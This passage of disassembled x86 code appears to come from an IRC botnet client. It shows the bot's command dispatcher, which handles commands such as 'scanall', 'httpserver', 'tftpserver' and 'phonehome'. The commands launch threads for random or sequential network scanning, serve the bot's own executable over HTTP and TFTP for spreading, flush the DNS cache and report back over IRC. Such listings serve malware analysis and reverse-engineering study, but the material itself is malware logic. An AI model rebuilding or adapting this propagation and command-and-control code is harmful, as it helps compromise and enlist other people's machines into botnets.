		push	offset aHttpserver ; "httpserver"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403771
		push	edi
		push	offset aHttp	; "http"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403771
		push	edi
		push	offset aTftpserver ; "tftpserver"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40363A
		push	edi
		push	offset aTftp	; "tftp"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40363A
		push	edi
		push	offset aScanall	; "scanall"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_403336
		push	edi
		push	offset aVall	; "vall"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_403336
		push	edi
		push	offset aPhonehome ; "phonehome"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40313E
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n"
		push	[ebp+arg_4]
		call	sub_408C17
		jmp	loc_401F49
; ---------------------------------------------------------------------------


loc_403336:				; CODE XREF: sub_401AC7+182Ej
					; sub_401AC7+183Fj
		mov	al, byte_433A52
		mov	[ebp+arg_0], ebx
		cmp	al, bl
		mov	edx, offset byte_433A52
		jz	loc_401E8B
		mov	ecx, edx


loc_40334D:				; CODE XREF: sub_401AC7+188Ej
		inc	[ebp+arg_0]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_40334D
		cmp	al, bl
		jz	loc_401E8B
		mov	[ebp+arg_18], edx
		mov	esi, offset dword_42512C


loc_403367:				; CODE XREF: sub_401AC7+1B5Ej
		push	0Bh
		call	sub_40A44B
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	[ebp+arg_0]
		add	eax, ecx
		cmp	eax, 1F4h
		jle	short loc_4033B6
		push	ecx
		lea	eax, [ebp+var_2C4]
		push	offset unk_42E75C
		push	eax
		call	sub_417D96
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408C5D
		add	esp, 20h
		jmp	loc_40361C
; ---------------------------------------------------------------------------


loc_4033B6:				; CODE XREF: sub_401AC7+18BAj
		or	[ebp+var_730], 0FFFFFFFFh
		cmp	dword_433870, ebx
		mov	[ebp+var_734], 64h
		mov	[ebp+var_748], 5
		mov	[ebp+var_744], 320h
		mov	[ebp+arg_0], ebx
		jz	short loc_403427
		mov	edi, offset dword_433870


loc_4033EB:				; CODE XREF: sub_401AC7+1942j
		mov	eax, [ebp+arg_18]
		add	eax, 0FFFFFFF6h
		push	eax
		lea	eax, [edi-28h]
		push	eax
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40340D
		inc	[ebp+arg_0]
		add	edi, 40h
		cmp	[edi], ebx
		jnz	short loc_4033EB
		jmp	short loc_403427
; ---------------------------------------------------------------------------


loc_40340D:				; CODE XREF: sub_401AC7+1938j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_730], eax
		shl	ecx, 6
		mov	ecx, dword_433870[ecx]
		mov	[ebp+var_74C], ecx


loc_403427:				; CODE XREF: sub_401AC7+191Dj
					; sub_401AC7+1944j
		cmp	[ebp+var_74C], ebx
		jz	loc_403630
		push	10h
		lea	eax, [ebp+var_2D0]
		pop	edi
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		mov	[ebp+var_2D0], edi
		push	[ebp+arg_4]
		call	dword_4C97A8	; getsockname
		mov	al, [ebp+var_8FF]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_308], eax
		push	[ebp+var_308]
		call	dword_4C9888	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_417B00
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_418340
		add	esp, 14h
		cmp	edi, ebx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_4034CF


loc_4034AD:				; CODE XREF: sub_401AC7+1A06j
		cmp	eax, ebx
		jz	short loc_4034CF
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_860]
		push	30h
		push	eax
		call	sub_418340
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_4034AD


loc_4034CF:				; CODE XREF: sub_401AC7+19E4j
					; sub_401AC7+19E8j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	[ebp+var_750], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_728], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_724], eax
		mov	edi, 80h
		lea	eax, [ebp+var_850]
		push	edi
		push	eax
		mov	[ebp+var_720], 1
		call	sub_417E90
		push	offset byte_43B9B8
		push	esi
		call	sub_418570
		add	esp, 14h
		test	eax, eax
		jz	short loc_403531
		push	esi
		lea	eax, [ebp+var_7D0]
		push	edi
		push	eax
		call	sub_417E90
		add	esp, 0Ch
		jmp	short loc_403537
; ---------------------------------------------------------------------------


loc_403531:				; CODE XREF: sub_401AC7+1A55j
		mov	[ebp+var_7D0], bl


loc_403537:				; CODE XREF: sub_401AC7+1A68j
		cmp	[ebp+var_720], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_403549
		mov	eax, offset aSequential	; "Sequential"


loc_403549:				; CODE XREF: sub_401AC7+1A7Bj
		push	[ebp+var_734]
		lea	ecx, [ebp+var_860]
		push	[ebp+var_744]
		push	[ebp+var_748]
		push	[ebp+var_74C]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42E6DC
		push	eax
		call	sub_417D96
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40A203
		add	esp, 2Ch
		mov	[ebp+var_740], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_860]
		push	ebx
		push	eax
		push	offset sub_40B43D
		push	ebx
		push	ebx
		call	dword_42307C	; CreateThread
		mov	ecx, [ebp+var_740]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C754[ecx], eax
		jz	short loc_4035D3


loc_4035C1:				; CODE XREF: sub_401AC7+1B0Aj
		cmp	[ebp+var_71C], ebx
		jnz	short loc_4035EE
		push	32h
		call	dword_423078	; Sleep
		jmp	short loc_4035C1
; ---------------------------------------------------------------------------


loc_4035D3:				; CODE XREF: sub_401AC7+1AF8j
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42E6A0
		push	eax
		call	sub_417D96
		add	esp, 0Ch


loc_4035EE:				; CODE XREF: sub_401AC7+1B00j
		cmp	[ebp+var_8], ebx
		jnz	short loc_40360F
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408C5D
		add	esp, 14h


loc_40360F:				; CODE XREF: sub_401AC7+1B2Aj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_413B5E
		pop	ecx


loc_40361C:				; CODE XREF: sub_401AC7+18EAj
		add	[ebp+arg_18], 0Bh
		mov	eax, [ebp+arg_18]
		cmp	[eax], bl
		jnz	loc_403367
		jmp	loc_401E8B
; ---------------------------------------------------------------------------


loc_403630:				; CODE XREF: sub_401AC7+1966j
		push	offset unk_42E668
		jmp	loc_40662D
; ---------------------------------------------------------------------------


loc_40363A:				; CODE XREF: sub_401AC7+1804j
					; sub_401AC7+1819j
		push	5
		call	sub_40A44B
		test	eax, eax
		pop	ecx
		jle	short loc_403650
		push	offset unk_42E648
		jmp	loc_40662D
; ---------------------------------------------------------------------------


loc_403650:				; CODE XREF: sub_401AC7+1B7Dj
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		jz	short loc_403673
		push	eax
		mov	edi, 104h
		lea	eax, [ebp+var_2550]
		push	edi
		push	eax
		call	sub_417E90
		add	esp, 0Ch
		jmp	short loc_403687
; ---------------------------------------------------------------------------


loc_403673:				; CODE XREF: sub_401AC7+1B92j
		mov	edi, 104h
		lea	eax, [ebp+var_2550]
		push	edi
		push	eax
		push	ebx
		call	dword_423070	; GetModuleFileNameA


loc_403687:				; CODE XREF: sub_401AC7+1BAAj
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_403697
		mov	esi, offset byte_4250E4


loc_403697:				; CODE XREF: sub_401AC7+1BC9j
		push	esi
		lea	eax, [ebp+var_244C]
		push	edi
		push	eax
		call	sub_417E90
		mov	eax, dword_425078
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2340],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2344],	ebx
		mov	[ebp+var_2554],	eax
		lea	eax, [ebp+var_233C]
		push	eax
		call	sub_417B00
		mov	eax, [ebp+var_4]
		mov	[ebp+var_22BC],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_22B8],	eax
		lea	eax, [ebp+var_2550]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_2340]
		push	offset unk_42E614
		push	eax
		call	sub_417D96
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	5
		push	eax
		call	sub_40A203
		add	esp, 34h
		mov	[ebp+var_2348],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2554]
		push	ebx
		push	eax
		push	offset sub_41088E
		push	ebx
		push	ebx
		call	dword_42307C	; CreateThread
		mov	ecx, [ebp+var_2348]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C754[ecx], eax
		jz	short loc_403760


loc_40374A:				; CODE XREF: sub_401AC7+1C97j
		cmp	[ebp+var_22B4],	ebx
		jnz	loc_4079A7
		push	32h
		call	dword_423078	; Sleep
		jmp	short loc_40374A
; ---------------------------------------------------------------------------


loc_403760:				; CODE XREF: sub_401AC7+1C81j
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42E5D8
		jmp	loc_406614
; ---------------------------------------------------------------------------


loc_403771:				; CODE XREF: sub_401AC7+17DAj
					; sub_401AC7+17EFj
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403790
		push	edi
		call	sub_417C89
		test	eax, eax
		pop	ecx
		jz	short loc_403790
		push	edi
		call	sub_417C89
		pop	ecx
		jmp	short loc_403795
; ---------------------------------------------------------------------------


loc_403790:				; CODE XREF: sub_401AC7+1CB3j
					; sub_401AC7+1CBEj
		mov	eax, dword_42507C


loc_403795:				; CODE XREF: sub_401AC7+1CC7j
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_2DC4],	eax
		xor	eax, eax
		cmp	[ebp+var_8FC], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp+var_2DB0],	eax
		jz	short loc_4037C8
		lea	eax, [ebp+var_2EC8]
		push	esi
		push	eax
		call	sub_417D96
		pop	ecx
		pop	ecx
		jmp	short loc_4037F3
; ---------------------------------------------------------------------------


loc_4037C8:				; CODE XREF: sub_401AC7+1CEEj
		lea	eax, [ebp+var_4050]
		push	104h
		push	eax
		call	dword_423074	; GetSystemDirectoryA
		push	ebx
		push	ebx
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4050]
		push	eax
		call	sub_417EE1
		add	esp, 14h


loc_4037F3:				; CODE XREF: sub_401AC7+1CFFj
		lea	eax, [ebp+var_2EC8]
		push	eax
		call	sub_4176F0
		cmp	[ebp+eax+var_2EC9], 5Ch
		pop	ecx
		jnz	short loc_40381E
		lea	eax, [ebp+var_2EC8]
		push	eax
		call	sub_4176F0
		pop	ecx
		mov	[ebp+eax+var_2EC9], bl


loc_40381E:				; CODE XREF: sub_401AC7+1D41j
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_3150]
		mov	[ebp+var_3154],	esi
		push	80h
		push	eax
		call	sub_417E90
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_2DB4],	eax
		lea	eax, [ebp+var_2EC8]
		mov	[ebp+var_2DB8],	edi
		push	eax
		push	[ebp+var_2DC4]
		push	esi
		call	sub_409D1D
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42E59C
		push	eax
		call	sub_417D96
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	3
		push	eax
		call	sub_40A203
		add	esp, 20h
		mov	[ebp+var_2DBC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3154]
		push	ebx
		push	eax
		push	offset sub_40E1DC
		push	ebx
		push	ebx
		call	dword_42307C	; CreateThread
		mov	ecx, [ebp+var_2DBC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C754[ecx], eax
		jz	short loc_4038D2


loc_4038C0:				; CODE XREF: sub_401AC7+1E09j
		cmp	[ebp+var_2DA8],	ebx
		jnz	short loc_4038ED
		push	32h
		call	dword_423078	; Sleep
		jmp	short loc_4038C0
; ---------------------------------------------------------------------------


loc_4038D2:				; CODE XREF: sub_401AC7+1DF7j
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42E560


loc_4038DE:				; CODE XREF: sub_401AC7+1F69j
					; sub_401AC7+442Aj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417D96
		add	esp, 0Ch


loc_4038ED:				; CODE XREF: sub_401AC7+1DFFj
					; sub_401AC7+1F4Dj ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4079C8
		push	ebx
		push	edi
		jmp	loc_4069A8
; ---------------------------------------------------------------------------


loc_4038FD:				; CODE XREF: sub_401AC7+17B0j
					; sub_401AC7+17C5j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_40391C
		push	edi
		call	sub_417C89
		test	eax, eax
		pop	ecx
		jz	short loc_40391C
		push	edi
		call	sub_417C89
		pop	ecx
		jmp	short loc_403921
; ---------------------------------------------------------------------------


loc_40391C:				; CODE XREF: sub_401AC7+1E3Fj
					; sub_401AC7+1E4Aj
		mov	eax, dword_425080


loc_403921:				; CODE XREF: sub_401AC7+1E53j
		mov	[ebp+var_15D0],	eax
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jnz	short loc_403938
		lea	eax, [ebp+var_C4]


loc_403938:				; CODE XREF: sub_401AC7+1E69j
		push	eax
		lea	eax, [ebp+var_1710]
		push	40h
		push	eax
		call	sub_417E90
		mov	esi, [ebp+esi+var_84]
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_40395A
		mov	esi, offset byte_43B9B8


loc_40395A:				; CODE XREF: sub_401AC7+1E8Cj
		push	esi
		lea	eax, [ebp+var_16D0]
		push	100h
		push	eax
		call	sub_417E90
		push	[ebp+var_88]
		lea	eax, [ebp+var_1790]
		push	80h
		push	eax
		call	sub_417E90
		mov	eax, [ebp+var_8]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_15BC],	eax
		lea	eax, [ebp+var_1710]
		push	eax
		mov	[ebp+var_1794],	esi
		push	[ebp+var_15D0]
		mov	[ebp+var_15C0],	edi
		push	esi
		call	sub_409D1D
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42E524
		push	eax
		call	sub_417D96
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	9
		push	eax
		call	sub_40A203
		add	esp, 20h
		mov	[ebp+var_15CC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1794]
		push	ebx
		push	eax
		push	offset sub_40FB45
		push	ebx
		push	ebx
		call	dword_42307C	; CreateThread
		mov	ecx, [ebp+var_15CC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C754[ecx], eax
		jz	short loc_403A24


loc_403A0E:				; CODE XREF: sub_401AC7+1F5Bj
		cmp	[ebp+var_15B8],	ebx
		jnz	loc_4038ED
		push	32h
		call	dword_423078	; Sleep
		jmp	short loc_403A0E
; ---------------------------------------------------------------------------


loc_403A24:				; CODE XREF: sub_401AC7+1F45j
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42E4E8
		jmp	loc_4038DE
; ---------------------------------------------------------------------------


loc_403A35:				; CODE XREF: sub_401AC7+1786j
					; sub_401AC7+179Bj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_403A48
		push	esi
		call	sub_417C89
		jmp	short loc_403A4F
; ---------------------------------------------------------------------------


loc_403A48:				; CODE XREF: sub_401AC7+1F77j
		push	0Bh
		call	sub_40A46A


loc_403A4F:				; CODE XREF: sub_401AC7+1F7Fj
		cmp	eax, ebx
		pop	ecx
		jz	loc_408A45
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40AB5B
		jmp	loc_403F08
; ---------------------------------------------------------------------------


loc_403A6F:				; CODE XREF: sub_401AC7+175Cj
					; sub_401AC7+1771j
		mov	eax, dword_4C972C
		cmp	eax, ebx
		jz	short loc_403A8C
		call	eax	; DnsFlushResolverCache
		test	eax, eax
		jz	short loc_403A85
		push	offset unk_42E4C4
		jmp	short loc_403AA8
; ---------------------------------------------------------------------------


loc_403A85:				; CODE XREF: sub_401AC7+1FB5j
		push	offset unk_42E498
		jmp	short loc_403AA8
; ---------------------------------------------------------------------------


loc_403A8C:				; CODE XREF: sub_401AC7+1FAFj
		push	offset unk_42E46C
		jmp	short loc_403AA8
; ---------------------------------------------------------------------------


loc_403A93:				; CODE XREF: sub_401AC7+1732j
					; sub_401AC7+1747j
		call	sub_409C3F
		test	eax, eax
		jz	short loc_403AA3
		push	offset unk_42E448
		jmp	short loc_403AA8
; ---------------------------------------------------------------------------


loc_403AA3:				; CODE XREF: sub_401AC7+1FD3j
		push	offset unk_42E41C


loc_403AA8:				; CODE XREF: sub_401AC7+1FBCj
					; sub_401AC7+1FC3j ...
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_417E90
		jmp	loc_4063FB
; ---------------------------------------------------------------------------


loc_403ABE:				; CODE XREF: sub_401AC7+1708j
					; sub_401AC7+171Dj
		cmp	[ebp+var_8], ebx
		jnz	short loc_403ADD
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42E404
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408C5D
		add	esp, 14h


loc_403ADD:				; CODE XREF: sub_401AC7+1FFAj
		push	ebx
		push	[ebp+var_4]
		call	sub_4152AB
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408C5D
		push	offset dword_42E3E8
		jmp	loc_403DD7
; ---------------------------------------------------------------------------


loc_403AFF:				; CODE XREF: sub_401AC7+1598j
					; sub_401AC7+15ADj
		push	0Ah
		call	sub_40A44B
		test	eax, eax
		pop	ecx
		jle	short loc_403B15
		push	offset unk_42E3BC
		jmp	loc_408807
; ---------------------------------------------------------------------------


loc_403B15:				; CODE XREF: sub_401AC7+2042j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_416CC2
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_403B34
		push	offset unk_42E394
		jmp	loc_408807
; ---------------------------------------------------------------------------


loc_403B34:				; CODE XREF: sub_401AC7+2061j
		push	offset unk_42E374
		jmp	loc_408807
; ---------------------------------------------------------------------------


loc_403B3E:				; CODE XREF: sub_401AC7+156Ej
					; sub_401AC7+1583j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409910
		jmp	loc_401E88
; ---------------------------------------------------------------------------


loc_403B57:				; CODE XREF: sub_401AC7+1544j
					; sub_401AC7+1559j
		push	[ebp+esi+var_8C]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_414749
		jmp	loc_401E88
; ---------------------------------------------------------------------------


loc_403B74:				; CODE XREF: sub_401AC7+151Aj
					; sub_401AC7+152Fj
		or	edi, 0FFFFFFFFh
		call	dword_4230A8	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_403B9D
		push	esi
		call	sub_417C89
		pop	ecx
		mov	edi, eax


loc_403B9D:				; CODE XREF: sub_401AC7+20CBj
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_403BB6
		cmp	edi, 0FFFFFFFFh
		jnz	loc_408A45


loc_403BB6:				; CODE XREF: sub_401AC7+20E4j
		push	ebx
		call	sub_417249
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42E35C
		push	eax
		call	sub_417D96
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408C5D
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_413B5E


loc_403BF3:				; CODE XREF: sub_401AC7+55E2j
		add	esp, 28h
		jmp	loc_408A45
; ---------------------------------------------------------------------------


loc_403BFB:				; CODE XREF: sub_401AC7+14F0j
					; sub_401AC7+1505j
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_413D6E
		lea	eax, [ebp+var_2C4]
		push	offset dword_42E33C
		push	eax
		call	sub_417D96
		jmp	loc_407983
; ---------------------------------------------------------------------------


loc_403C22:				; CODE XREF: sub_401AC7+14C6j
					; sub_401AC7+14DBj
		push	27h
		call	sub_40A44B
		test	eax, eax
		pop	ecx
		jle	short loc_403C56
		cmp	[ebp+var_8], ebx
		jnz	loc_401E8B
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42E31C
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408C5D


loc_403C4E:				; CODE XREF: sub_401AC7+680Cj
		add	esp, 14h
		jmp	loc_401E8B
; ---------------------------------------------------------------------------


loc_403C56:				; CODE XREF: sub_401AC7+2165j
		push	[ebp+var_88]
		lea	eax, [ebp+var_A94]
		push	80h
		push	eax
		call	sub_417E90
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_A98], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_A0C], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_A08], eax
		mov	[ebp+var_A10], ebx
		jz	short loc_403CB7
		push	esi
		push	offset aFull	; "full"
		call	sub_418570
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403CB7
		mov	[ebp+var_A10], 1


loc_403CB7:				; CODE XREF: sub_401AC7+21D3j
					; sub_401AC7+21E4j
		lea	eax, [ebp+var_2C4]
		push	offset dword_42E2F8
		push	eax
		call	sub_417D96
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	27h
		push	eax
		call	sub_40A203
		add	esp, 14h
		mov	[ebp+var_A14], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A98]
		push	ebx
		push	eax
		push	offset sub_416949
		push	ebx
		push	ebx
		call	dword_42307C	; CreateThread
		mov	ecx, [ebp+var_A14]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C754[ecx], eax
		jz	short loc_403D25


loc_403D0F:				; CODE XREF: sub_401AC7+225Cj
		cmp	[ebp+var_A04], ebx
		jnz	loc_408836
		push	32h
		call	dword_423078	; Sleep
		jmp	short loc_403D0F
; ---------------------------------------------------------------------------


loc_403D25:				; CODE XREF: sub_401AC7+2246j
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42E2BC
		push	eax
		call	sub_417D96
		add	esp, 0Ch
		jmp	loc_408836
; ---------------------------------------------------------------------------


loc_403D45:				; CODE XREF: sub_401AC7+149Cj
					; sub_401AC7+14B1j
		cmp	[ebp+var_8], ebx
		jnz	short loc_403D64
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42E2A0
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408C5D
		add	esp, 14h


loc_403D64:				; CODE XREF: sub_401AC7+2281j
		push	[ebp+arg_4]
		call	dword_4C9894	; closesocket
		call	dword_4C9764	; WSACleanup
		call	sub_41542E
		push	ebx
		call	dword_423064	; ExitProcess


loc_403D7F:				; CODE XREF: sub_401AC7+1472j
					; sub_401AC7+1487j
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	eax
		call	sub_417368
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408C5D
		push	offset dword_42E284
		jmp	short loc_403DD7
; ---------------------------------------------------------------------------


loc_403DAA:				; CODE XREF: sub_401AC7+1448j
					; sub_401AC7+145Dj
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41761C
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_408C5D
		push	offset dword_42E268


loc_403DD7:				; CODE XREF: sub_401AC7+2033j
					; sub_401AC7+22E1j
		call	sub_413B5E


loc_403DDC:				; CODE XREF: sub_401AC7+6554j
		add	esp, 18h
		jmp	loc_408A45
; ---------------------------------------------------------------------------


loc_403DE4:				; CODE XREF: sub_401AC7+141Ej
					; sub_401AC7+1433j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_413BFE
		jmp	loc_401E88
; ---------------------------------------------------------------------------


loc_403DFD:				; CODE XREF: sub_401AC7+13F4j
					; sub_401AC7+1409j
		cmp	[ebp+var_C], ebx
		mov	[ebp+var_1340],	bl
		jz	short loc_403E3C
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_403E3C
		push	esi
		push	[ebp+var_C]
		call	sub_417E10
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_403E3C
		push	eax
		push	offset dword_42E264
		lea	eax, [ebp+var_1340]
		push	80h
		push	eax
		call	sub_417E90
		add	esp, 10h


loc_403E3C:				; CODE XREF: sub_401AC7+233Fj
					; sub_401AC7+234Aj ...
		push	[ebp+var_88]
		lea	eax, [ebp+var_13C0]
		push	80h
		push	eax
		call	sub_417E90
		mov	eax, [ebp+arg_4]
		push	offset dword_42E24C
		mov	[ebp+var_13C4],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_12BC],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_12B8],	eax
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_417D96
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	25h
		push	eax
		call	sub_40A203
		add	esp, 20h
		mov	[ebp+var_12C0],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_13C4]
		push	ebx
		push	eax
		push	offset sub_413C3F
		push	ebx
		push	ebx
		call	dword_42307C	; CreateThread
		mov	ecx, [ebp+var_12C0]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43C754[ecx], eax
		jz	short loc_403EDC


loc_403EC6:				; CODE XREF: sub_401AC7+2413j
		cmp	[ebp+var_12B4],	ebx
		jnz	loc_401E8B
		push	32h
		call	dword_423078	; Sleep
		jmp	short loc_403EC6
; ---------------------------------------------------------------------------


loc_403EDC:				; CODE XREF: sub_401AC7+23FDj
		call	dword_42308C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42E214
		jmp	loc_40206E
; ---------------------------------------------------------------------------


loc_403EED:				; CODE XREF: sub_401AC7+13CAj
					; sub_401AC7+13DFj
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_413AE6
		push	offset dword_42E1FC
		call	sub_413B5E


loc_403F08:				; CODE XREF: sub_401AC7+1FA3j
		add	esp, 10h
		jmp	loc_408A45
; ---------------------------------------------------------------------------


loc_403F10:				; CODE XREF: sub_401AC7+13A0j
					; sub_401AC7+13B5j
		push	[ebp+var_88]
		lea	eax, [ebp+var_B2C]
		push	80h
		push	eax
		call	sub_417E90
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_B30], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_AA4], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_AA0], eax
		jz	short loc_403F6A
		push	offset dword_42E1F8
		push	esi
		call	sub_418570
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp+var_AA8], eax
		jmp	short loc_403F70
; ---------------------------------------------------------------------------


loc_403F6A:				; CODE XREF: sub_401AC7+2487j
		mov	[ebp+var_AA8], ebx


loc_403F70:				; CODE XREF: sub_401AC7+24A1j
		lea	eax, [ebp+var_2C4]
		push	offset dword_42E1D8
		push	eax
		call	sub_417D96
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	28h
		push	eax
		call	sub_40A203
		add	esp, 14h
		mov	[ebp+var_AAC], eax
		lea	eax, [ebp+var_10]
		push	eax
